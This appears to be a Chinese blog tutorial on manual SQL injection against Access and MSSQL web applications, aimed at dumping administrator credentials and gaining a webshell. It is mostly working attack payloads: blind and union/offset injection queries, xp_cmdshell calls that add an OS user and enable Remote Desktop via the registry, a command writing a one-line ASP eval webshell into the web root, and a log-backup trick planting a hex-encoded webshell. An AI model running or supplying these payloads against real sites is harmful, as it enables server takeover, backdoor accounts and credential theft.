美文网首页
access/mssql手动注入

access/mssql手动注入

作者: _Beginner | 来源:发表于2020-03-30 18:29 被阅读0次

    一.本文介绍

    1、本文介绍access手工注入mssql注入获取webshell


    二.手动注入


    1、access手工注入:

    Access只能暴力猜解,支持的数据库语句比较少。

    先参数后面接 ' 出现错误或and 1=1;and 1=2,页面不同;则存在注入。

    exists:检查查询的语句是否存在,存在返回True,不存在返回flse。

    1.猜表:and exists(select * from administrator)
    参数后接:and exists(select * from administrator)若表存在,页面显示正常;不存在会报错(可用burp爆表)。 

    2.猜字段:and exists(select user_name from administrator)
    参数后接:and exists(select user_name from administrator)若字段存在,页面显示正常;不存在会报错(可用burp爆字段)。

    3.猜字段长度:and (select top 1 len(user_name) from administrator)>4
    5是我们要猜的长度,len为长度函数。当长度符合我们猜的长度,会返回正常页面,否则返回的不是正常页面

    4.猜解字段内容:and (select top 1 asc(mid(user_name,1,1)) from administrator)>97(mid(user_name,2,1)min为从第几位开始截取1位)
    97是我们要猜的asc码。当长度符合我们猜的长度,会返回正常页面,否则返回的不是正常页面。最后一位一位的才出来即可得出用户名。密码也可以用这个办法猜出(mid(password,1,1)),若MD5,解密即可。

    ASCII ((American Standard Code for Information Interchange): 美国信息交换标准代码)是基于拉丁字母的一套电脑编码系统,主要用于显示现代英语和其他西欧语言。它是最通用的信息交换标准,并等同于国际标准ISO/IEC 646,到目前为止共定义了128个字符 。ASCII大于0为字母,小于0为汉字
    ASCII详解

    Asc为100的字母为d

    5.高级语句:

    判断字段数 :参数后面接:order by 7 ;7为我们要猜的字段数。当前 数据表的字段数。(asc为升序,从小到大;desc为降序,从大到小;order by 默认升序)

    爆出显示位 :参数后面接:若显示位准确,则会显示对应数字。 

    爆出字段后查询administrator 的账号密码:union select ID,user_name,password,4,5,6,7 from administrator

    md5密码

    6、偏移注入与跨库查询 ,夸库需要知道绝对路径,所以一般不适用。(在5高级语法中,用:order by 爆出了当前表字段数为7)Acssecc才有偏移,sql等没有偏移注入。

    偏移注入: 在注入过程中,可能会遇到注入知道表名,但是不知道列名,从而无法继续猜解,此时需要偏移注入解决。 
    判断表名:union select 1,2,……,22,* from administrator  (联合查询爆显位) 

    开始偏移注入:
     union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from administrator #错误
    union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,* from administrator #错误
    直到.........:
    union select 1,2,3,4,* from administrator#正确 (爆出显示内容)
    7-4=3,所以administrator 表的字段为3
    union select 1,a.id,b.id,* from (administrator as a inner join administrator as b on a.id=b.id)


    2、mssql注入获取webshell

    1.判断权限

    and 1=(select IS_SRVROLEMEMBER('sysadmin'))(最高权限)

    and 1=(select is_srvrolemember('db_owner'))(可以获取webshell)用到比较多

    and 1=(select is_srvrolemember('public'))(只能看)

    2.如果是sa权限已恢复master..xp_cmdshell可以直接执行

    参数后面接:;exec%20master..xp_cmdshell%20%27net%20user%20test%20test%20/add%27

    参数后面接:;exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;

    3.如果不具备sa权限,是dbowner权限

    获取网站路径第一种方法

    参数后面接:;exec master..xp_cmdshell 'netstat -an >>c:\netstat.txt'

    第二种方法
    http://192.168.1.55/sqlserver/1.aspx?xxser=1;drop table black;create Table black(result varchar(7996) null, id int not null identity (1,1))--http://192.168.1.55/sqlserver/1.aspx?xxser=1 ;insert into black exec master..xp_cmdshell 'dir c:\ '--
    http://192.168.1.55/sqlserver/1.aspx?xxser=1 and (select result from black where id=1)>0--

    一句话木马写入到网站根目录下面:
    http://192.168.0.105/sqlserver/1.aspx?xxser=1%20;exec%20master..xp_cmdshell%20'Echo%20"<%eval%20request("chopper")%>"%20>>%20c:\wwwtest\iis-xxser.com--wwwroot\muma.asp'-

    通过工具或手工直接差异备份获取webshell
    http://192.168.0.102/sqlserver/1.aspx?xxser=1;alter database testdb set RECOVERY FULL;create table test_tmp(str image);backup log testdb to disk='c:\test1' with init;insert into test_tmp(str) values (0x3C2565786375746528726571756573742822636D64222929253E);backup log testdb to disk='C:\wwwtest\iis-xxser.com--wwwroot\yjh.asp';alter database testdb set RECOVERY simple

    相关文章

      网友评论

          本文标题:access/mssql手动注入

          本文链接:https://www.haomeiwen.com/subject/fjdmuhtx.html